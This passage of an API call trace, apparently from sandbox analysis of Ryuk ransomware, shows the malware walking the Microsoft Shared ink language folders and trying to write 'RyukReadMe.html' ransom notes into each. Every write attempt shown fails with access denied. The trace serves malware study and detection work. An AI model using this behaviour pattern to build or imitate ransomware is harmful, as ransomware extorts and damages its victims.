	[0163.706] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.707] GetLastError () returned 0x5
	[0163.707] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0163.707] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.707] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="sl-SI", cAlternateFileName="")) returned 1
	[0163.707] SetLastError (dwErrCode=0x0) 
	[0163.707] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.707] GetLastError () returned 0x5
	[0163.708] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0163.708] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.708] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c5d0
	[0163.709] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0163.709] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe92d84cc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe94ed7e2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe94ed7e2, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0163.709] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe92d84cc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe94ed7e2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe94ed7e2, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0163.709] FindClose (in: hFindFile=0x7c5d0 | out: hFindFile=0x7c5d0) returned 1
	[0163.709] SetLastError (dwErrCode=0x0) 
	[0163.709] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sl-si\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.709] GetLastError () returned 0x5
	[0163.709] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0163.710] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.710] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1
	[0163.710] SetLastError (dwErrCode=0x0) 
	[0163.710] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.710] GetLastError () returned 0x5
	[0163.710] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0163.710] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.710] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c5d0
	[0163.711] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0163.711] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4177b15, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4177b15, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0163.711] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4177b15, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4177b15, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0163.711] FindClose (in: hFindFile=0x7c5d0 | out: hFindFile=0x7c5d0) returned 1
	[0163.712] SetLastError (dwErrCode=0x0) 
	[0163.712] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-cs\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.712] GetLastError () returned 0x5
	[0163.712] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0163.712] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.712] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1
	[0163.713] SetLastError (dwErrCode=0x0) 
	[0163.713] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.713] GetLastError () returned 0x5
	[0163.713] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0163.713] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.713] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c690
	[0163.767] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0163.768] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe779eb51, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe79d9fc4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe79d9fc4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0163.768] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe779eb51, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe79d9fc4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe79d9fc4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0163.768] FindClose (in: hFindFile=0x7c690 | out: hFindFile=0x7c690) returned 1
	[0163.768] SetLastError (dwErrCode=0x0) 
	[0163.768] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sv-se\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.768] GetLastError () returned 0x5
	[0163.768] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0163.769] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.769] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56ef1310, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x56ef1310, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x449d3e50, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x9e00, dwReserved0=0x7c, dwReserved1=0x0, cFileName="TabIpsps.dll", cAlternateFileName="")) returned 1
	[0163.769] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bf05363, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bf05363, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bf05363, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6d600, dwReserved0=0x7c, dwReserved1=0x0, cFileName="tabskb.dll", cAlternateFileName="")) returned 1
	[0163.769] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45c03bb8, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x45c03bb8, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xf8825d20, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x36c00, dwReserved0=0x7c, dwReserved1=0x0, cFileName="TabTip.exe", cAlternateFileName="")) returned 1
	[0163.769] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="th-TH", cAlternateFileName="")) returned 1
	[0163.769] SetLastError (dwErrCode=0x0) 
	[0163.769] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.770] GetLastError () returned 0x5
	[0163.770] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0163.770] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.770] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c690
	[0163.771] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0163.771] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8f46414, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe91a79e4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe91a79e4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0163.771] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8f46414, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe91a79e4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe91a79e4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0163.771] FindClose (in: hFindFile=0x7c690 | out: hFindFile=0x7c690) returned 1
	[0163.771] SetLastError (dwErrCode=0x0) 
	[0163.771] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.772] GetLastError () returned 0x5
	[0163.772] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0163.772] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.772] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41bbeec8, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x41bbeec8, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44c363f0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1b000, dwReserved0=0x7c, dwReserved1=0x0, cFileName="TipBand.dll", cAlternateFileName="")) returned 1
	[0163.772] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d6a2945, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5d6a2945, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x18975da0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x85000, dwReserved0=0x7c, dwReserved1=0x0, cFileName="TipRes.dll", cAlternateFileName="")) returned 1
	[0163.772] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d7038f2, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x3d7038f2, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x18975da0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x7c, dwReserved1=0x0, cFileName="tipresx.dll", cAlternateFileName="")) returned 1
	[0163.772] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa125f634, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa125f634, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa1285794, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x130600, dwReserved0=0x7c, dwReserved1=0x0, cFileName="tipskins.dll", cAlternateFileName="")) returned 1
	[0163.772] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1213373, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa1213373, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa12394d3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7ae00, dwReserved0=0x7c, dwReserved1=0x0, cFileName="tiptsf.dll", cAlternateFileName="")) returned 1
	[0163.772] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3dda83b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3dda83b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3dda83b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18c00, dwReserved0=0x7c, dwReserved1=0x0, cFileName="tpcps.dll", cAlternateFileName="")) returned 1
	[0163.772] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x980e725f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x980e725f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1
	[0163.773] SetLastError (dwErrCode=0x0) 
	[0163.773] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.773] GetLastError () returned 0x5
	[0163.773] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0163.773] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.773] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x980e725f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x980e725f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c690
	[0163.774] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x980e725f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x980e725f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
